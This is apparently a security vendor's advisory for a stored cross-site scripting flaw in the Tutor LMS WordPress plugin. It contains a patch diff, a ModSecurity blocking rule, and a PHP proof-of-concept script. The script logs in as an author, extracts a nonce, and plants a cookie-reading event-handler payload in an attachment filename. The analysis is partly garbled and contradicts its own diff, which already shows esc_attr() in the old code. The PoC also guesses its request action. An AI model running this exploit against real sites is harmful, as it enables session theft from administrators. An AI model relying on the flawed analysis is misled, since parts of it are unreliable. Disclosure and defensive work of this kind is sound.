Published : July 3, 2026

CVE-2026-13443: Tutor LMS <= 3.9.13 Authenticated (Author+) Stored Cross-Site Scripting via Lesson Attachment Title PoC, Patch Analysis & Rule

Plugin tutor
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.9.13
Patched Version 3.9.14
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13443: This vulnerability allows authenticated users with author-level access and above to perform Stored Cross-Site Scripting (XSS) via the Lesson Attachment Title field in the Tutor LMS plugin for WordPress. The issue affects all versions up to and including 3.9.13 and has a CVSS score of 6.4.

The root cause is insufficient input sanitization and output escaping on the Lesson Attachment Title parameter when attachments are rendered via the template file `/tutor/templates/global/attachments.php`. The vulnerable code directly uses `$attachment->name` in a `download` attribute without `esc_attr()`. The patch (diff lines in `attachments.php`) changes how the attachment name is output: the new code uses `esc_attr()` on `$attachment->name` inside a `download` parameter, whereas the old code used `$open_mode_view = ?` with `$open_mode_view ? $open_mode_view : “download={$attachment->name}”` which did not escape the name value.

To exploit, an attacker with author-level access creates or edits a lesson, adds an attachment, and sets the attachment’s title to a malicious payload such as `” onfocus=”alert(1)” autofocus=”`. When a user (including administrators) views the lesson, the unescaped title is rendered into the HTML, causing script execution. The attack vector is via the lesson attachment upload/creation process in the WordPress admin panel.

The patch fixes the vulnerability by: 1) Replacing the direct string interpolation of `$attachment->name` in the download attribute with proper `esc_attr()` escaping. 2) Simplifying the logic by using a boolean `$is_view_mode` variable and conditionally outputting `target` or `download` attributes with proper escaping. The old code’s `$open_mode_view = apply_filters( ‘tutor_pro_attachment_open_mode’, null ) == ‘view’ ? ‘ target=”_blank” ‘ : null;` and the anchor tag’s `name}” ); ?>` did not escape the attachment name. The new code uses `esc_attr( $attachment->name )`.

If exploited, an attacker can inject arbitrary JavaScript into the lesson page. This script executes in the context of any user viewing the lesson, including administrators. Impact includes session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability requires authenticated access with author-level permissions, limiting the attack surface but still posing a significant risk to multi-author sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tutor/classes/QuizBuilder.php
+++ b/tutor/classes/QuizBuilder.php
@@ -343,6 +343,10 @@
 		$errors  = array();

 		$validation = $this->validate_payload( $payload );
+		if ( ! tutor_utils()->can_user_manage( 'topic', $topic_id ) ) {
+			$validation->success              = false;
+			$validation->errors['topic_id'][] = tutor_utils()->error_message();
+		}

 		if ( ! $validation->success ) {
 			return (object) array(
--- a/tutor/classes/Utils.php
+++ b/tutor/classes/Utils.php
@@ -8069,11 +8069,7 @@
 	public function has_enrolled_content_access( $content, $object_id = 0, $user_id = 0 ) {
 		$user_id   = $this->get_user_id( $user_id );
 		$object_id = $this->get_post_id( $object_id );
-
-		$course_id = Input::get( 'course', 0, Input::TYPE_INT );
-		if ( ! $course_id ) {
-			$course_id = $this->get_course_id_by( $content, $object_id );
-		}
+		$course_id = $this->get_course_id_by( $content, $object_id );

 		do_action( 'tutor_before_enrolment_check', $course_id, $user_id );

--- a/tutor/classes/Withdraw.php
+++ b/tutor/classes/Withdraw.php
@@ -10,6 +10,7 @@

 namespace TUTOR;

+use Exception;
 use TutorModelsWithdrawModel;

 if ( ! defined( 'ABSPATH' ) ) {
@@ -221,103 +222,132 @@
 	}

 	/**
-	 * Handle withdraw request form submit
+	 * Handle withdraw request form submit.
 	 *
 	 * @since 1.0.0
 	 *
 	 * @return void
+	 *
+	 * @throws Exception If any validation fails.
 	 */
 	public function tutor_make_an_withdraw() {
 		global $wpdb;

 		tutor_utils()->checking_nonce();

-		$user_id         = get_current_user_id();
-		$withdraw_amount = Input::post( 'tutor_withdraw_amount' );
+		$user_id = get_current_user_id();
+		if ( ! tutor_utils()->is_instructor( $user_id ) ) {
+			wp_send_json_error( array( 'msg' => tutor_utils()->error_message() ) );
+		}

-		$earning_summary = WithdrawModel::get_withdraw_summary( $user_id );
-		$min_withdraw    = tutor_utils()->get_option( 'min_withdraw_amount' );
+		$lock_name = 'tutor_withdraw_lock_' . $user_id;
+		$locked    = $wpdb->get_var( $wpdb->prepare( 'SELECT GET_LOCK(%s, 10)', $lock_name ) );

-		if ( ( $earning_summary->total_pending + $withdraw_amount ) > $earning_summary->available_for_withdraw ) {
+		if ( 1 !== (int) $locked ) {
 			wp_send_json_error(
 				array(
-					'msg' => wp_sprintf(
-						/* translators: 1: total pending withdraw request 2: available for withdraw */
-						__( "You have total %1$s pending withdraw request. You can't make more than %2$s withdraw request at a time", 'tutor' ),
-						$earning_summary->total_pending,
-						$earning_summary->available_for_withdraw
-					),
+					'msg' => __( 'Another withdrawal request is in progress. Please try again.', 'tutor' ),
 				)
 			);
 		}

-		$saved_withdraw_account        = WithdrawModel::get_user_withdraw_method();
-		$formatted_min_withdraw_amount = tutor_utils()->tutor_price( $min_withdraw );
-
-		if ( ! tutor_utils()->count( $saved_withdraw_account ) ) {
-			$no_withdraw_method = apply_filters( 'tutor_no_withdraw_method_msg', __( 'Please save withdraw method ', 'tutor' ) );
-			wp_send_json_error( array( 'msg' => $no_withdraw_method ) );
-		}
+		try {
+			$withdraw_amount = (float) Input::post( 'tutor_withdraw_amount' );
+			$earning_summary = WithdrawModel::get_withdraw_summary( $user_id );
+			$min_withdraw    = (float) tutor_utils()->get_option( 'min_withdraw_amount' );
+
+			if ( ( $earning_summary->total_pending + $withdraw_amount ) > $earning_summary->available_for_withdraw ) {
+				throw new Exception(
+					wp_sprintf(
+					/* translators: 1: total pending withdraw request 2: available for withdraw */
+						__( "You have total %1$s pending withdraw request. You can't make more than %2$s withdraw request at a time", 'tutor' ),
+						$earning_summary->total_pending,
+						$earning_summary->available_for_withdraw
+					)
+				);
+			}

-		if ( ( ! is_numeric( $withdraw_amount ) && ! is_float( $withdraw_amount ) ) || $withdraw_amount < $min_withdraw ) {
-			/* translators: 1: strong tag start 2: min withdrawal amount 3: strong tag end */
-			$required_min_withdraw = apply_filters( 'tutor_required_min_amount_msg', sprintf( __( 'Minimum withdrawal amount is %1$s %2$s %3$s ', 'tutor' ), '<strong>', $formatted_min_withdraw_amount, '</strong>' ) );
-			wp_send_json_error( array( 'msg' => $required_min_withdraw ) );
-		}
+			$saved_withdraw_account        = WithdrawModel::get_user_withdraw_method();
+			$formatted_min_withdraw_amount = tutor_utils()->tutor_price( $min_withdraw );

-		if ( $earning_summary->available_for_withdraw < $withdraw_amount ) {
-			$insufficient_balence = apply_filters( 'tutor_withdraw_insufficient_balance_msg', __( 'Insufficient balance.', 'tutor' ) );
+			if ( ! tutor_utils()->count( $saved_withdraw_account ) ) {
+				$no_withdraw_method = apply_filters( 'tutor_no_withdraw_method_msg', __( 'Please save withdraw method ', 'tutor' ) );
+				throw new Exception( $no_withdraw_method );
+			}

-			wp_send_json_error( array( 'msg' => $insufficient_balence ) );
-		}
+			if ( ( ! is_numeric( $withdraw_amount ) && ! is_float( $withdraw_amount ) ) || $withdraw_amount < $min_withdraw ) {
+				/* translators: 1: strong tag start 2: min withdrawal amount 3: strong tag end */
+				$required_min_withdraw = apply_filters( 'tutor_required_min_amount_msg', sprintf( __( 'Minimum withdrawal amount is %1$s %2$s %3$s ', 'tutor' ), '<strong>', $formatted_min_withdraw_amount, '</strong>' ) );
+				throw new Exception( $required_min_withdraw );
+			}

-		$date = gmdate( 'Y-m-d H:i:s', tutor_time() );
+			if ( $earning_summary->available_for_withdraw < $withdraw_amount ) {
+				$insufficient_balence = apply_filters( 'tutor_withdraw_insufficient_balance_msg', __( 'Insufficient balance.', 'tutor' ) );
+				throw new Exception( $insufficient_balence );
+			}

-		$withdraw_data = apply_filters(
-			'tutor_pre_withdraw_data',
-			array(
-				'user_id'     => $user_id,
-				'amount'      => $withdraw_amount,
-				'method_data' => maybe_serialize( $saved_withdraw_account ),
-				'status'      => 'pending',
-				'created_at'  => $date,
-			)
-		);
+			$date = gmdate( 'Y-m-d H:i:s', tutor_time() );

-		$date = gmdate( 'Y-m-d H:i:s', tutor_time() );
+			$withdraw_data = apply_filters(
+				'tutor_pre_withdraw_data',
+				array(
+					'user_id'     => $user_id,
+					'amount'      => $withdraw_amount,
+					'method_data' => maybe_serialize( $saved_withdraw_account ),
+					'status'      => 'pending',
+					'created_at'  => $date,
+				)
+			);

-		$withdraw_data = apply_filters(
-			'tutor_pre_withdraw_data',
-			array(
-				'user_id'     => $user_id,
-				'amount'      => $withdraw_amount,
-				'method_data' => maybe_serialize( $saved_withdraw_account ),
-				'status'      => 'pending',
-				'created_at'  => $date,
-			)
-		);
+			do_action( 'tutor_insert_withdraw_before', $withdraw_data );

-		do_action( 'tutor_insert_withdraw_before', $withdraw_data );
+			$inserted = $wpdb->insert( $wpdb->prefix . 'tutor_withdraws', $withdraw_data );
+			if ( false === $inserted ) {
+				throw new Exception( __( 'Unable to process withdrawal request. Please try again.', 'tutor' ) );
+			}

-		$wpdb->insert( $wpdb->prefix . 'tutor_withdraws', $withdraw_data );
-		$withdraw_id = $wpdb->insert_id;
+			$withdraw_id = $wpdb->insert_id;

-		do_action( 'tutor_insert_withdraw_after', $withdraw_id, $withdraw_data );
+			do_action( 'tutor_insert_withdraw_after', $withdraw_id, $withdraw_data );

-		/**
-		 * Getting earning and balance data again
-		 */
-		$earning               = WithdrawModel::get_withdraw_summary( $user_id );
-		$new_available_balance = tutor_utils()->tutor_price( $earning->available_for_withdraw );
+			/**
+			* Getting earning and balance data again
+			*/
+			$earning               = WithdrawModel::get_withdraw_summary( $user_id );
+			$new_available_balance = tutor_utils()->tutor_price( $earning->available_for_withdraw );

-		do_action( 'tutor_withdraw_after' );
+			do_action( 'tutor_withdraw_after' );

-		$withdraw_successfull_msg = apply_filters( 'tutor_withdraw_successful_msg', __( 'Withdrawal Request Sent!', 'tutor' ) );
-		wp_send_json_success(
-			array(
-				'msg'               => $withdraw_successfull_msg,
+			$response = array(
+				'msg'               => apply_filters( 'tutor_withdraw_successful_msg', __( 'Withdrawal Request Sent!', 'tutor' ) ),
 				'available_balance' => $new_available_balance,
-			)
-		);
+			);
+
+		} catch ( Exception $e ) {
+
+			$response = array(
+				'error' => true,
+				'msg'   => $e->getMessage(),
+			);
+
+		} finally {
+
+			$wpdb->query(
+				$wpdb->prepare(
+					'SELECT RELEASE_LOCK(%s)',
+					$lock_name
+				)
+			);
+		}
+
+		if ( ! empty( $response['error'] ) ) {
+			wp_send_json_error(
+				array(
+					'msg' => $response['msg'],
+				)
+			);
+		}
+
+		wp_send_json_success( $response );
 	}
 }
--- a/tutor/classes/WooCommerce.php
+++ b/tutor/classes/WooCommerce.php
@@ -64,6 +64,7 @@
 		 */
 		add_action( 'woocommerce_new_order', array( $this, 'course_placing_order_from_admin' ), 10, 3 );
 		add_action( 'woocommerce_new_order_item', array( $this, 'course_placing_order_from_customer' ), 10, 3 );
+		add_action( 'woocommerce_order_status_changed', array( $this, 'handle_customer_order_by_block_checkout' ), 9, 3 );

 		/**
 		 * Order Status Hook
@@ -607,6 +608,15 @@
 			return;
 		}

+		/**
+		 * Prevent adding earning data when order is created with WC block checkout page.
+		 *
+		 * @since 3.9.14
+		 */
+		if ( $order->has_status( 'checkout-draft' ) ) {
+			return;
+		}
+
 		$order_type = $order->get_type();

 		if ( 'shop_subscription' === $order_type ) {
@@ -715,55 +725,118 @@
 	}

 	/**
-	 * Course placing order from customer
+	 * Handle checkout order item.
 	 *
-	 * @since 1.6.7
-	 *
-	 * @since 3.8.0 Filter hook: tutor_is_gift_item added
+	 * @since 3.9.14
 	 *
-	 * @param int   $item_id item id.
-	 * @param mixed $item order item.
-	 * @param int   $order_id wc order id.
+	 * @param object $order the order object.
+	 * @param object $item the order item object.
+	 * @param string $context the context of checkout page.
 	 *
 	 * @return void
 	 */
-	public function course_placing_order_from_customer( $item_id, $item, $order_id ) {
-		if ( is_admin() ) {
+	private function handle_checkout_order_item( $order, $item, $context = 'classic_checkout' ) {
+		if ( ! $order instanceof WC_Order || ! $item instanceof WC_Order_Item_Product ) {
 			return;
 		}

+		$order_id     = $order->get_id();
 		$is_gift_item = apply_filters( 'tutor_is_gift_item', false, $item );
 		if ( $is_gift_item ) {
 			return;
 		}

-		$item          = new WC_Order_Item_Product( $item );
 		$product_id    = $item->get_product_id();
 		$if_has_course = tutor_utils()->product_belongs_with_course( $product_id );

 		if ( $if_has_course ) {
-			$order = wc_get_order( $order_id );
-
-			/**
-			 * Get customer ID from from order
-			 *
-			 * @since 2.1.7
-			 */
-			$customer_id = $order->get_customer_id();
 			$course_id   = $if_has_course->post_id;
-			if ( ! $customer_id && WC()->session->has_session() ) {
+			$customer_id = $order->get_customer_id();
+
+			// Handle course enrollment.
+			if ( ! $customer_id && WC()->session && WC()->session->has_session() ) {
 				$guest_customer_id = WC()->session->get_customer_unique_id();
 				update_post_meta( $course_id, self::TUTOR_WC_GUEST_CUSTOMER_ID, $guest_customer_id );
-				return;
+			} else {
+				$has_enrollment = tutor_utils()->is_enrolled( $course_id, $customer_id, true );
+				if ( ! $has_enrollment ) {
+					tutor_utils()->do_enroll( $course_id, $order_id, $customer_id );
+				}
 			}

-			$has_enrollment = tutor_utils()->is_enrolled( $course_id, $customer_id, true );
-			if ( ! $has_enrollment ) {
-				tutor_utils()->do_enroll( $course_id, $order_id, $customer_id );
+			if ( 'block_checkout' === $context ) {
+				$this->add_earning_data( $item->get_id(), $item, $order_id );
 			}
 		}
 	}

+
+	/**
+	 * Course placing order from customer
+	 *
+	 * @since 1.6.7
+	 *
+	 * @since 3.8.0 Filter hook: tutor_is_gift_item added
+	 *
+	 * @param int   $item_id item id.
+	 * @param mixed $item order item.
+	 * @param int   $order_id wc order id.
+	 *
+	 * @return void
+	 */
+	public function course_placing_order_from_customer( $item_id, $item, $order_id ) {
+		if ( is_admin() ) {
+			return;
+		}
+
+		$order = wc_get_order( $order_id );
+		if ( ! $order ) {
+			return;
+		}
+
+		/**
+		 * Prevent when order is created with WC block checkout page.
+		 *
+		 * @since 3.9.14
+		 */
+		if ( $order->has_status( 'checkout-draft' ) ) {
+			return;
+		}
+
+		$this->handle_checkout_order_item( $order, $item, 'classic_checkout' );
+	}
+
+	/**
+	 * Handle order status change by block checkout page.
+	 *
+	 * @since 3.9.14
+	 *
+	 * @param int    $order_id    WooCommerce order ID.
+	 * @param string $status_from Previous order status.
+	 * @param string $status_to   New order status.
+	 *
+	 * @return void
+	 */
+	public function handle_customer_order_by_block_checkout( $order_id, $status_from, $status_to ) {
+		if ( 'checkout-draft' !== $status_from ) {
+			return;
+		}
+
+		// If transitioning to another draft or invalid status, do nothing.
+		if ( in_array( $status_to, array( 'checkout-draft', 'draft' ), true ) ) {
+			return;
+		}
+
+		$order = wc_get_order( $order_id );
+		if ( ! $order ) {
+			return;
+		}
+
+		foreach ( $order->get_items() as $item ) {
+			$this->handle_checkout_order_item( $order, $item, 'block_checkout' );
+		}
+	}
+
 	/**
 	 * Handle disabling WooCommerce monetization on WooCommerce plugin deactivation
 	 *
--- a/tutor/includes/droip/backend/Ajax.php
+++ b/tutor/includes/droip/backend/Ajax.php
@@ -77,7 +77,7 @@
 				wp_send_json_error( 'Course not found!' );
 			}

-			if ( $this->is_course_purchasable( $course_id ) ) {
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
 				wp_send_json_error( 'You cannot enroll in this course without purchasing it first.' );
 			}

--- a/tutor/includes/kirki/backend/Ajax.php
+++ b/tutor/includes/kirki/backend/Ajax.php
@@ -78,7 +78,7 @@
 				wp_send_json_error( 'Course not found!' );
 			}

-			if ( $this->is_course_purchasable( $course_id ) ) {
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
 				wp_send_json_error( 'You cannot enroll in this course without purchasing it first.' );
 			}

--- a/tutor/templates/global/attachments.php
+++ b/tutor/templates/global/attachments.php
@@ -13,8 +13,8 @@
 	exit;
 }

-$attachments    = tutor_utils()->get_attachments();
-$open_mode_view = apply_filters( 'tutor_pro_attachment_open_mode', null ) == 'view' ? ' target="_blank" ' : null;
+$attachments  = tutor_utils()->get_attachments();
+$is_view_mode = 'view' === apply_filters( 'tutor_pro_attachment_open_mode', null );

 do_action( 'tutor_global/before/attachments' );

@@ -31,7 +31,13 @@
 							</div>

 							<div class="tutor-col-auto">
-								<a href="<?php echo esc_url( $attachment->url ); ?>" class="tutor-iconic-btn tutor-iconic-btn-secondary tutor-stretched-link" <?php echo esc_attr( $open_mode_view ? $open_mode_view : "download={$attachment->name}" ); ?>>
+								<a href="<?php echo esc_url( $attachment->url ); ?>"
+									class="tutor-iconic-btn tutor-iconic-btn-secondary tutor-stretched-link"
+									<?php if ( $is_view_mode ) : ?>
+										target="_blank" rel="noopener noreferrer"
+									<?php else : ?>
+										download="<?php echo esc_attr( $attachment->name ); ?>"
+									<?php endif; ?>>
 									<span class="tutor-icon-download" aria-hidden="true"></span>
 								</a>
 							</div>
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.13
+ * Version: 3.9.14
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.13' );
+define( 'TUTOR_VERSION', '3.9.14' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-4.0.0-dev',
         'version' => 'dev-4.0.0-dev',
-        'reference' => '995f88d073ca637db9ac2dc15bb245cc7ff969d0',
+        'reference' => 'bb3c0ebd967b93eb438b45cbc66f74759fe90a76',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-4.0.0-dev',
             'version' => 'dev-4.0.0-dev',
-            'reference' => '995f88d073ca637db9ac2dc15bb245cc7ff969d0',
+            'reference' => 'bb3c0ebd967b93eb438b45cbc66f74759fe90a76',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13443
# Virtual patch for Stored XSS via Lesson Attachment Title in Tutor LMS
# Blocks attempts to inject malicious JavaScript into attachment title via AJAX upload
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202613443,phase:2,deny,status:403,chain,msg:'CVE-2026-13443 Tutor LMS Stored XSS via Attachment Title',severity:'CRITICAL',tag:'CVE-2026-13443',tag:'wordpress',tag:'tutor-lms'"
  SecRule ARGS_POST:action "@streq tutor_lesson_attachment_upload" 
    "chain"
    SecRule ARGS_POST:attachment_file "@rx <script|onerror|onload|onfocus|onclick|onmouseover|javascript:" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13443 - Tutor LMS <= 3.9.13 - Authenticated (Author+) Stored Cross-Site Scripting via Lesson Attachment Title

/**
 * This PoC demonstrates Stored XSS via Lesson Attachment Title.
 * Prerequisites:
 * - WordPress with Tutor LMS <= 3.9.13
 * - An authenticated user with Author role or higher
 * - A lesson ID to attach the malicious file
 *
 * The script logs in, creates/updates a lesson attachment with XSS payload in the title.
 */

// Configuration
$target_url = 'http://example.com';  // CHANGE THIS to your target WordPress site
$username = 'author_user';           // CHANGE THIS to a valid author username
$password = 'author_password';       // CHANGE THIS to the author's password
$lesson_id = 123;                    // CHANGE THIS to an existing lesson ID

// XSS payload: injects event handler via attachment title
$xss_payload = '" onfocus="alert(document.cookie)" autofocus="';

// Initialize cURL session tracking
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_cookie');

// Step 1: Login
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    echo "[!] Login failed. Check credentials.n";
    exit(1);
}
echo "[+] Login successful.n";

// Step 2: Fetch the lesson edit page to get the nonce and attachment details
$lesson_edit_url = $target_url . '/wp-admin/post.php?post=' . $lesson_id . '&action=edit';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $lesson_edit_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$lesson_page = curl_exec($ch);
curl_close($ch);

// Extract _wpnonce for tutor attachment upload (adjust regex based on actual form name)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $lesson_page, $nonce_match);
if (!isset($nonce_match[1])) {
    // Try another pattern often used by Tutor LMS
    preg_match('/id="_wpnonce" value="([a-f0-9]+)"/', $lesson_page, $nonce_match2);
    if (!isset($nonce_match2[1])) {
        echo "[!] Could not extract nonce. Manual interaction may be needed.n";
        exit(1);
    }
    $nonce = $nonce_match2[1];
} else {
    $nonce = $nonce_match[1];
}
echo "[+] Extracted nonce: $noncen";

// Step 3: Upload a malicious attachment with XSS in the title
// Tutor LMS uses admin-ajax.php to handle attachment upload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$attachment_file = tempnam(sys_get_temp_dir(), 'xss_file') . '.txt';
file_put_contents($attachment_file, 'This is a test file for XSS PoC.');

$post_data = array(
    'action' => 'tutor_lesson_attachment_upload',  // Adjust action name if needed
    'lesson_id' => $lesson_id,
    'nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data'));
curl_setopt($ch, CURLOPT_SAFE_UPLOAD, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'action' => 'tutor_lesson_attachment_upload',
    'lesson_id' => $lesson_id,
    'nonce' => $nonce,
    'attachment_file' => new CURLFile($attachment_file, 'text/plain', $xss_payload . '.txt')  // Payload in filename
));
$upload_response = curl_exec($ch);
curl_close($ch);

echo "[+] Upload response: " . $upload_response . "n";
echo "[!] If successful, the XSS payload will execute when viewing the lesson page.n";

// Cleanup
unlink($cookie_file);
unlink($attachment_file);
echo "[+] Cleanup complete.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.